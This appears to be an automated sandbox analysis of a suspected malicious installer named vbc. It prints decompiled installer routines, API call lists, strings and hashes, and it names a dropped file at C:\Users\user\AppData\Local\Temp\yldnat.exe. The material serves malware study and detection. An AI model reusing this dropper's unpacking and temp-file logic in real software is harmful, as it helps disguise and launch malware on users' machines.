FindFirstFileW.KERNELBASE(7556D4C4,007A4FD8,007A4790,0040608E,007A4790,007A4790,00000000,007A4790,007A4790,7556D4C4,?,755513E0,00405D9A,?,7556D4C4,755513E0), ref: 004069AF
FindClose.KERNEL32(00000000), ref: 004069BB

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 721887c06873c2ed1700ed969bf0ce4ded3b87a21ff0d7dab6a5e84a2f4fc02f
Instruction ID: 60c22f5c8fe31c667ed350a31965a044de81702d272a45ebe5fc25ec47674b4c
Opcode Fuzzy Hash: 721887c06873c2ed1700ed969bf0ce4ded3b87a21ff0d7dab6a5e84a2f4fc02f
Instruction Fuzzy Hash: 47D012F15191205FCB4017786E0C84B7A589F573313264B36B0A6F55E0D6748C3787AC

Uniqueness

Uniqueness Score: -1.00%

Function 004040CB Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E004040CB(struct HWND__* _a4, intOrPtr _a8, int _a12, long _a16) {
				struct HWND__* _v28;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				signed int _t36;
				signed int _t38;
				struct HWND__* _t48;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t117;
				int _t118;
				int _t122;
				signed int _t124;
				struct HWND__* _t127;
				struct HWND__* _t128;
				int _t129;
				intOrPtr _t130;
				long _t133;
				int _t135;
				int _t136;
				void* _t137;

				_t130 = _a8;
				if(_t130 == 0x110 || _t130 == 0x408) {
					_t34 = _a12;
					_t127 = _a4;
					__eflags = _t130 - 0x110;
					 *0x7a1f70 = _t34;
					if(_t130 == 0x110) {
						 *0x7a8aa8 = _t127;
						 *0x7a1f84 = GetDlgItem(_t127, 1);
						_t91 = GetDlgItem(_t127, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x79ff50 = _t91;
						E004045CA(_t127);
						SetClassLongW(_t127, 0xfffffff2,  *0x7a7a88);
						 *0x7a7a6c = E0040140B(4);
						_t34 = 1;
						__eflags = 1;
						 *0x7a1f70 = 1;
					}
					_t124 =  *0x40a39c; // 0x0
					_t136 = 0;
					_t133 = (_t124 << 6) +  *0x7a8ac0;
					__eflags = _t124;
					if(_t124 < 0) {
						L36:
						E00404616(0x40b);
						while(1) {
							_t36 =  *0x7a1f70;
							 *0x40a39c =  *0x40a39c + _t36;
							_t133 = _t133 + (_t36 << 6);
							_t38 =  *0x40a39c; // 0x0
							__eflags = _t38 -  *0x7a8ac4;
							if(_t38 ==  *0x7a8ac4) {
								E0040140B(1);
							}
							__eflags =  *0x7a7a6c - _t136;
							if( *0x7a7a6c != _t136) {
								break;
							}
							__eflags =  *0x40a39c -  *0x7a8ac4; // 0x0
							if(__eflags >= 0) {
								break;
							}
							_t117 =  *(_t133 + 0x14);
							E004066AB(_t117, _t127, _t133, 0x7b8000,  *((intOrPtr*)(_t133 + 0x24)));
							_push( *((intOrPtr*)(_t133 + 0x20)));
							_push(0xfffffc19);
							E004045CA(_t127);
							_push( *((intOrPtr*)(_t133 + 0x1c)));
							_push(0xfffffc1b);
							E004045CA(_t127);
							_push( *((intOrPtr*)(_t133 + 0x28)));
							_push(0xfffffc1a);
							E004045CA(_t127);
							_t48 = GetDlgItem(_t127, 3);
							__eflags =  *0x7a8b2c - _t136;
							_v28 = _t48;
							if( *0x7a8b2c != _t136) {
								_t117 = _t117 & 0x0000fefd | 0x00000004;
								__eflags = _t117;
							}
							ShowWindow(_t48, _t117 & 0x00000008);
							EnableWindow( *(_t137 + 0x34), _t117 & 0x00000100);
							E004045EC(_t117 & 0x00000002);
							_t118 = _t117 & 0x00000004;
							EnableWindow( *0x79ff50, _t118);
							__eflags = _t118 - _t136;
							if(_t118 == _t136) {
								_push(1);
							} else {
								_push(_t136);
							}
							EnableMenuItem(GetSystemMenu(_t127, _t136), 0xf060, ??);
							SendMessageW( *(_t137 + 0x3c), 0xf4, _t136, 1);
							__eflags =  *0x7a8b2c - _t136;
							if( *0x7a8b2c == _t136) {
								_push( *0x7a1f84);
							} else {
								SendMessageW(_t127, 0x401, 2, _t136);
								_push( *0x79ff50);
							}
							E004045FF();
							E0040666E(0x7a1f88, E004040AC());
							E004066AB(0x7a1f88, _t127, _t133,  &(0x7a1f88[lstrlenW(0x7a1f88)]),  *((intOrPtr*)(_t133 + 0x18)));
							SetWindowTextW(_t127, 0x7a1f88);
							_push(_t136);
							_t67 = E00401389( *((intOrPtr*)(_t133 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t133 - _t136;
								if( *_t133 == _t136) {
									continue;
								}
								__eflags =  *(_t133 + 4) - 5;
								if( *(_t133 + 4) != 5) {
									DestroyWindow( *0x7a7a78);
									 *0x7a0f60 = _t133;
									__eflags =  *_t133 - _t136;
									if( *_t133 <= _t136) {
										goto L60;
									}
									_t73 = CreateDialogParamW( *0x7a8aa0,  *_t133 +  *0x7a7a80 & 0x0000ffff, _t127,  *(0x40a3a0 +  *(_t133 + 4) * 4), _t133);
									__eflags = _t73 - _t136;
									 *0x7a7a78 = _t73;
									if(_t73 == _t136) {
										goto L60;
									}
									_push( *((intOrPtr*)(_t133 + 0x2c)));
									_push(6);
									E004045CA(_t73);
									GetWindowRect(GetDlgItem(_t127, 0x3fa), _t137 + 0x10);
									ScreenToClient(_t127, _t137 + 0x10);
									SetWindowPos( *0x7a7a78, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
									_push(_t136);
									E00401389( *((intOrPtr*)(_t133 + 0xc)));
									__eflags =  *0x7a7a6c - _t136;
									if( *0x7a7a6c != _t136) {
										goto L63;
									}
									ShowWindow( *0x7a7a78, 8);
									E00404616(0x405);
									goto L60;
								}
								__eflags =  *0x7a8b2c - _t136;
								if( *0x7a8b2c != _t136) {
									goto L63;
								}
								__eflags =  *0x7a8b20 - _t136;
								if( *0x7a8b20 != _t136) {
									continue;
								}
								goto L63;
							}
						}
						DestroyWindow( *0x7a7a78); // executed
						 *0x7a8aa8 = _t136;
						EndDialog(_t127,  *0x7a0758); // executed
						goto L60;
					} else {
						__eflags = _t34 - 1;
						if(_t34 != 1) {
							L35:
							__eflags =  *_t133 - _t136;
							if( *_t133 == _t136) {
								goto L63;
							}
							goto L36;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t133 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L35;
						}
						SendMessageW( *0x7a7a78, 0x40f, 0, 1);
						__eflags =  *0x7a7a6c;
						return 0 |  *0x7a7a6c == 0x00000000;
					}
				} else {
					_t127 = _a4;
					_t136 = 0;
					if(_t130 == 0x47) {
						SetWindowPos( *0x7a1f68, _t127, 0, 0, 0, 0, 0x13);
					}
					_t122 = _a12;
					if(_t130 != 5) {
						L8:
						if(_t130 != 0x40d) {
							__eflags = _t130 - 0x11;
							if(_t130 != 0x11) {
								__eflags = _t130 - 0x111;
								if(_t130 != 0x111) {
									goto L28;
								}
								_t135 = _t122 & 0x0000ffff;
								_t128 = GetDlgItem(_t127, _t135);
								__eflags = _t128 - _t136;
								if(_t128 == _t136) {
									L15:
									__eflags = _t135 - 1;
									if(_t135 != 1) {
										__eflags = _t135 - 3;
										if(_t135 != 3) {
											_t129 = 2;
											__eflags = _t135 - _t129;
											if(_t135 != _t129) {
												L27:
												SendMessageW( *0x7a7a78, 0x111, _t122, _a16);
												goto L28;
											}
											__eflags =  *0x7a8b2c - _t136;
											if( *0x7a8b2c == _t136) {
												_t99 = E0040140B(3);
												__eflags = _t99;
												if(_t99 != 0) {
													goto L28;
												}
												 *0x7a0758 = 1;
												L23:
												_push(0x78);
												L24:
												E004045A3();
												goto L28;
											}
											E0040140B(_t129);
											 *0x7a0758 = _t129;
											goto L23;
										}
										__eflags =  *0x40a39c - _t136; // 0x0
										if(__eflags <= 0) {
											goto L27;
										}
										_push(0xffffffff);
										goto L24;
									}
									_push(_t135);
									goto L24;
								}
								SendMessageW(_t128, 0xf3, _t136, _t136);
								_t103 = IsWindowEnabled(_t128);
								__eflags = _t103;
								if(_t103 == 0) {
									L63:
									return 0;
								}
								goto L15;
							}
							SetWindowLongW(_t127, _t136, _t136);
							return 1;
						}
						DestroyWindow( *0x7a7a78);
						 *0x7a7a78 = _t122;
						L60:
						if( *0x7a3f88 == _t136 &&  *0x7a7a78 != _t136) {
							ShowWindow(_t127, 0xa);
							 *0x7a3f88 = 1;
						}
						goto L63;
					} else {
						asm("sbb eax, eax");
						ShowWindow( *0x7a1f68,  ~(_t122 - 1) & 0x00000005);
						if(_t122 != 2 || (GetWindowLongW(_t127, 0xfffffff0) & 0x21010000) != 0x1000000) {
							L28:
							return E00404631(_a8, _t122, _a16);
						} else {
							ShowWindow(_t127, 4);
							goto L8;
						}
					}
				}
			}

0x004040d6
0x004040dd
0x00404244
0x00404248
0x0040424c
0x0040424e
0x00404253
0x0040425e
0x00404269
0x0040426e
0x00404270
0x00404272
0x00404275
0x0040427a
0x00404288
0x00404295
0x0040429c
0x0040429c
0x0040429d
0x0040429d
0x004042a2
0x004042a8
0x004042af
0x004042b5
0x004042b7
0x004042f7
0x004042fc
0x00404301
0x00404301
0x00404306
0x0040430f
0x00404311
0x00404316
0x0040431c
0x00404320
0x00404320
0x00404325
0x0040432b
0x00000000
0x00000000
0x00404336
0x0040433c
0x00000000
0x00000000
0x00404345
0x0040434d
0x00404352
0x00404355
0x0040435b
0x00404360
0x00404363
0x00404369
0x0040436e
0x00404371
0x00404377
0x0040437f
0x00404385
0x0040438b
0x0040438f
0x00404396
0x00404396
0x00404396
0x004043a0
0x004043b2
0x004043be
0x004043c3
0x004043cd
0x004043d3
0x004043d5
0x004043da
0x004043d7
0x004043d7
0x004043d7
0x004043ea
0x00404402
0x00404404
0x0040440a
0x0040441f
0x0040440c
0x00404415
0x00404417
0x00404417
0x00404425
0x00404436
0x0040444c
0x00404453
0x00404459
0x0040445d
0x00404462
0x00404464
0x00000000
0x0040446a
0x0040446a
0x0040446c
0x00000000
0x00000000
0x00404472
0x00404476
0x0040449b
0x004044a1
0x004044a7
0x004044a9
0x00000000
0x00000000
0x004044cf
0x004044d5
0x004044d7
0x004044dc
0x00000000
0x00000000
0x004044e2
0x004044e5
0x004044e8
0x004044ff
0x0040450b
0x00404524
0x0040452a
0x0040452e
0x00404533
0x00404539
0x00000000
0x00000000
0x00404543
0x0040454e
0x00000000
0x0040454e
0x00404478
0x0040447e
0x00000000
0x00000000
0x00404484
0x0040448a
0x00000000
0x00000000
0x00000000
0x00404490
0x00404464
0x0040455b
0x00404567
0x0040456e
0x00000000
0x004042b9
0x004042b9
0x004042bc
0x004042ef
0x004042ef
0x004042f1
0x00000000
0x00000000
0x00000000
0x004042f1
0x004042be
0x004042c2
0x004042c7
0x004042c9
0x00000000
0x00000000
0x004042d9
0x004042e1
0x00000000
0x004042e7
0x004040ef
0x004040ef
0x004040f3
0x004040f8
0x00404107
0x00404107
0x0040410d
0x00404114
0x00404158
0x0040415e
0x00404177
0x0040417a
0x0040418d
0x00404193
0x00000000
0x00000000
0x00404199
0x004041a4
0x004041a6
0x004041a8
0x004041c7
0x004041c7
0x004041ca
0x004041cf
0x004041d2
0x004041e2
0x004041e3
0x004041e5
0x0040421b
0x0040422b
0x00000000
0x0040422b
0x004041e7
0x004041ed
0x00404206
0x0040420b
0x0040420d
0x00000000
0x00000000
0x0040420f
0x004041fb
0x004041fb
0x004041fd
0x004041fd
0x00000000
0x004041fd
0x004041f0
0x004041f5
0x00000000
0x004041f5
0x004041d4
0x004041da
0x00000000
0x00000000
0x004041dc
0x00000000
0x004041dc
0x004041cc
0x00000000
0x004041cc
0x004041b2
0x004041b9
0x004041bf
0x004041c1
0x00404597
0x00000000
0x00404597
0x00000000
0x004041c1
0x0040417f
0x00000000
0x00404187
0x00404166
0x0040416c
0x00404574
0x0040457a
0x00404587
0x0040458d
0x0040458d
0x00000000
0x00404116
0x0040411b
0x00404127
0x00404130
0x00404231
0x00000000
0x0040414f
0x00404152
0x00000000
0x00404152
0x00404130
0x00404114

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404107
ShowWindow.USER32(?), ref: 00404127
GetWindowLongW.USER32(?,000000F0), ref: 00404139
ShowWindow.USER32(?,00000004), ref: 00404152
DestroyWindow.USER32 ref: 00404166
SetWindowLongW.USER32 ref: 0040417F
GetDlgItem.USER32(?,?), ref: 0040419E
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004041B2
IsWindowEnabled.USER32(00000000), ref: 004041B9
GetDlgItem.USER32(?,00000001), ref: 00404264
GetDlgItem.USER32(?,00000002), ref: 0040426E
SetClassLongW.USER32(?,000000F2,?), ref: 00404288
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004042D9
GetDlgItem.USER32(?,00000003), ref: 0040437F
ShowWindow.USER32(00000000,?), ref: 004043A0
EnableWindow.USER32(?,?), ref: 004043B2
EnableWindow.USER32(?,?), ref: 004043CD
GetSystemMenu.USER32 ref: 004043E3
EnableMenuItem.USER32 ref: 004043EA
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404402
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404415
lstrlenW.KERNEL32(007A1F88,?,007A1F88,00000000), ref: 0040443F
SetWindowTextW.USER32 ref: 00404453
ShowWindow.USER32(?,0000000A), ref: 00404587

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Window$Item$MessageSendShow$EnableLong$Menu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 1860320154-0
Opcode ID: c3199f5d2ce6d65744aaa9316b253cb325a561f7dca841ae501f2507a703712f
Instruction ID: f65a6081c11fa3fb00f54a078e57315272211b1d7c342d1bec1514082707246b
Opcode Fuzzy Hash: c3199f5d2ce6d65744aaa9316b253cb325a561f7dca841ae501f2507a703712f
Instruction Fuzzy Hash: 63C1ADB1500204BFDB216F65EE49E2A3AA8EBC6745F00853EF741B55E0CB3D5851DB2E

Uniqueness

Uniqueness Score: -1.00%

Function 00403D1D Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00403D1D(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t22;
				void* _t30;
				void* _t32;
				int _t33;
				void* _t36;
				int _t39;
				int _t40;
				int _t44;
				short _t63;
				WCHAR* _t65;
				signed char _t69;
				WCHAR* _t76;
				intOrPtr _t82;
				WCHAR* _t87;

				_t82 =  *0x7a8ab0;
				_t22 = E00406A3B(2);
				_t90 = _t22;
				if(_t22 == 0) {
					_t76 = 0x7a1f88;
					L"1033" = 0x30;
					 *0x7b5002 = 0x78;
					 *0x7b5004 = 0;
					E0040653C(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x7a1f88, 0);
					__eflags =  *0x7a1f88;
					if(__eflags == 0) {
						E0040653C(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083D4, 0x7a1f88, 0);
					}
					lstrcatW(L"1033", _t76);
				} else {
					E004065B5(L"1033",  *_t22() & 0x0000ffff);
				}
				E00403FF3(_t78, _t90);
				 *0x7a8b20 =  *0x7a8ab8 & 0x00000020;
				 *0x7a8b3c = 0x10000;
				if(E00406045(_t90, 0x7b3800) != 0) {
					L16:
					if(E00406045(_t98, 0x7b3800) == 0) {
						E004066AB(_t76, 0, _t82, 0x7b3800,  *((intOrPtr*)(_t82 + 0x118)));
					}
					_t30 = LoadImageW( *0x7a8aa0, 0x67, 1, 0, 0, 0x8040);
					 *0x7a7a88 = _t30;
					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t32 = E00403FF3(_t78, __eflags);
							__eflags =  *0x7a8b40;
							if( *0x7a8b40 != 0) {
								_t33 = E004057A3(_t32, 0);
								__eflags = _t33;
								if(_t33 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x7a7a6c;
								if( *0x7a7a6c == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x7a1f68, 5); // executed
							_t39 = E004069CB("RichEd20"); // executed
							__eflags = _t39;
							if(_t39 == 0) {
								E004069CB("RichEd32");
							}
							_t87 = L"RichEdit20W";
							_t40 = GetClassInfoW(0, _t87, 0x7a7a40);
							__eflags = _t40;
							if(_t40 == 0) {
								GetClassInfoW(0, L"RichEdit", 0x7a7a40);
								 *0x7a7a64 = _t87;
								RegisterClassW(0x7a7a40);
							}
							_t44 = DialogBoxParamW( *0x7a8aa0,  *0x7a7a80 + 0x00000069 & 0x0000ffff, 0, E004040CB, 0); // executed
							E00403C6D(E0040140B(5), 1);
							return _t44;
						}
						L22:
						_t36 = 2;
						return _t36;
					} else {
						_t78 =  *0x7a8aa0;
						 *0x7a7a44 = E00401000;
						 *0x7a7a50 =  *0x7a8aa0;
						 *0x7a7a54 = _t30;
						 *0x7a7a64 = 0x40a3b4;
						if(RegisterClassW(0x7a7a40) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoW(0x30, 0,  &_v16, 0);
						 *0x7a1f68 = CreateWindowExW(0x80, 0x40a3b4, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x7a8aa0, 0);
						goto L21;
					}
				} else {
					_t78 =  *(_t82 + 0x48);
					_t92 = _t78;
					if(_t78 == 0) {
						goto L16;
					}
					_t76 = 0x7a6a40;
					E0040653C(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x7a8ad8 + _t78 * 2,  *0x7a8ad8 +  *(_t82 + 0x4c) * 2, 0x7a6a40, 0);
					_t63 =  *0x7a6a40; // 0x43
					if(_t63 == 0) {
						goto L16;
					}
					if(_t63 == 0x22) {
						_t76 = 0x7a6a42;
						 *((short*)(E00405F6A(0x7a6a42, 0x22))) = 0;
					}
					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
						L15:
						E0040666E(0x7b3800, E00405F3D(_t76));
						goto L16;
					} else {
						_t69 = GetFileAttributesW(_t76);
						if(_t69 == 0xffffffff) {
							L14:
							E00405F89(_t76);
							goto L15;
						}
						_t98 = _t69 & 0x00000010;
						if((_t69 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x00403d23
0x00403d2c
0x00403d33
0x00403d35
0x00403d49
0x00403d5b
0x00403d64
0x00403d6d
0x00403d74
0x00403d79
0x00403d80
0x00403d93
0x00403d93
0x00403d9e
0x00403d37
0x00403d42
0x00403d42
0x00403da3
0x00403db6
0x00403dbb
0x00403dcc
0x00403e5e
0x00403e66
0x00403e6f
0x00403e6f
0x00403e85
0x00403e8b
0x00403e99
0x00403f1a
0x00403f22
0x00403f2c
0x00403f31
0x00403f37
0x00403fc1
0x00403fc6
0x00403fc8
0x00403fe4
0x00000000
0x00403fe4
0x00403fca
0x00403fd0
0x00403fd8
0x00403fd8
0x00000000
0x00403fd0
0x00403f45
0x00403f50
0x00403f55
0x00403f57
0x00403f5e
0x00403f5e
0x00403f69
0x00403f71
0x00403f73
0x00403f75
0x00403f7e
0x00403f81
0x00403f87
0x00403f87
0x00403fa6
0x00403fb7
0x00000000
0x00403fbc
0x00403f24
0x00403f26
0x00000000
0x00403e9b
0x00403e9b
0x00403ea7
0x00403eb1
0x00403eb7
0x00403ebc
0x00403ecb
0x00403fe9
0x00403fe9
0x00000000
0x00403fe9
0x00403eda
0x00403f15
0x00000000
0x00403f15
0x00403dd2
0x00403dd2
0x00403dd5
0x00403dd7
0x00000000
0x00000000
0x00403de5
0x00403df7
0x00403dfc
0x00403e05
0x00000000
0x00000000
0x00403e0b
0x00403e0d
0x00403e1a
0x00403e1a
0x00403e23
0x00403e29
0x00403e51
0x00403e59
0x00000000
0x00403e3b
0x00403e3c
0x00403e45
0x00403e4b
0x00403e4c
0x00000000
0x00403e4c
0x00403e47
0x00403e49
0x00000000
0x00000000
0x00000000
0x00403e49
0x00403e29

APIs

Part of subcall function 00406A3B: GetModuleHandleA.KERNEL32(?,00000020,?,00403756,0000000B), ref: 00406A4D
Part of subcall function 00406A3B: GetProcAddress.KERNEL32(00000000,?), ref: 00406A68

lstrcatW.KERNEL32 ref: 00403D9E
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna,?,?,?,C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna,00000000,007B3800,1033,007A1F88,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F88,00000000,00000002,7556D4C4), ref: 00403E1E
lstrcmpiW.KERNEL32(?,.exe,C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna,?,?,?,C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna,00000000,007B3800,1033,007A1F88,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F88,00000000), ref: 00403E31
GetFileAttributesW.KERNEL32(C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna,?,00000000,?), ref: 00403E3C
LoadImageW.USER32 ref: 00403E85

Part of subcall function 004065B5: wsprintfW.USER32 ref: 004065C2

RegisterClassW.USER32 ref: 00403EC2
SystemParametersInfoW.USER32 ref: 00403EDA
CreateWindowExW.USER32 ref: 00403F0F
ShowWindow.USER32(00000005,00000000), ref: 00403F45
GetClassInfoW.USER32 ref: 00403F71
GetClassInfoW.USER32 ref: 00403F7E
RegisterClassW.USER32 ref: 00403F87
DialogBoxParamW.USER32 ref: 00403FA6

Strings

.DEFAULT\Control Panel\International, xrefs: 00403D89
1033, xrefs: 00403D3D, 00403D99
RichEd32, xrefs: 00403F59
C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna, xrefs: 00403DE5, 00403DEE, 00403DFC, 00403E4B, 00403E51
RichEdit20W, xrefs: 00403F69, 00403F6F
C:\Users\user\AppData\Local\Temp\, xrefs: 00403D22
_Nb, xrefs: 00403EA1, 00403F09
RichEdit, xrefs: 00403F78
RichEd20, xrefs: 00403F4B
Control Panel\Desktop\ResourceLocale, xrefs: 00403D51
.exe, xrefs: 00403E2B
@zz, xrefs: 00403E94

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$@zz$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-2110472897
Opcode ID: 13dc47a7a0bb2ebca6ba8b70f4dc1bd23eb177df04af224418cffa241dba538e
Instruction ID: b3798c48b8e7ed104fde3a001c8dc5b3ad58c50dca8dc7adab70101e5acdd628
Opcode Fuzzy Hash: 13dc47a7a0bb2ebca6ba8b70f4dc1bd23eb177df04af224418cffa241dba538e
Instruction Fuzzy Hash: 6561C170640200BED620AF669D46F2B3A6CEBC5B45F40853FF941B62E2DB7D8901CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 004030D0 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 202
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E004030D0(void* __eflags, signed int _a4) {
				long _v8;
				long _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _v40;
				short _v560;
				long _t54;
				void* _t57;
				void* _t61;
				intOrPtr _t64;
				void* _t67;
				intOrPtr* _t69;
				long _t81;
				signed int _t88;
				intOrPtr _t91;
				void* _t94;
				void* _t99;
				void* _t103;
				long _t104;
				long _t107;
				void* _t108;

				_v8 = 0;
				_v12 = 0;
				 *0x7a8aac = GetTickCount() + 0x3e8;
				GetModuleFileNameW(0, 0x7b6800, 0x400);
				_t103 = E0040615E(0x7b6800, 0x80000000, 3);
				 *0x40a018 = _t103;
				if(_t103 == 0xffffffff) {
					return L"Error launching installer";
				}
				E0040666E(0x7b4800, 0x7b6800);
				E0040666E(0x7b7000, E00405F89(0x7b4800));
				_t54 = GetFileSize(_t103, 0);
				 *0x79f740 = _t54;
				_t107 = _t54;
				if(_t54 <= 0) {
					L22:
					E0040302E(1);
					_pop(_t94);
					if( *0x7a8ab4 == 0) {
						goto L30;
					}
					if(_v12 == 0) {
						L26:
						_t57 = GlobalAlloc(0x40, _v20); // executed
						_t108 = _t57;
						 *0x40ce78 = 0xb;
						 *0x40ce90 = 0; // executed
						E0040618D(_t94,  &_v560, L"C:\\Users\\Albus\\AppData\\Local\\Temp\\"); // executed
						_t61 = CreateFileW( &_v560, 0xc0000000, 0, 0, 2, 0x4000100, 0); // executed
						 *0x40a01c = _t61;
						if(_t61 != 0xffffffff) {
							_t64 = E004035FE( *0x7a8ab4 + 0x1c);
							 *0x79f744 = _t64;
							 *0x79f738 = _t64 - ( !_v40 & 0x00000004) + _v16 - 0x1c; // executed
							_t67 = E00403377(_v16, 0xffffffff, 0, _t108, _v20); // executed
							if(_t67 == _v20) {
								 *0x7a8ab0 = _t108;
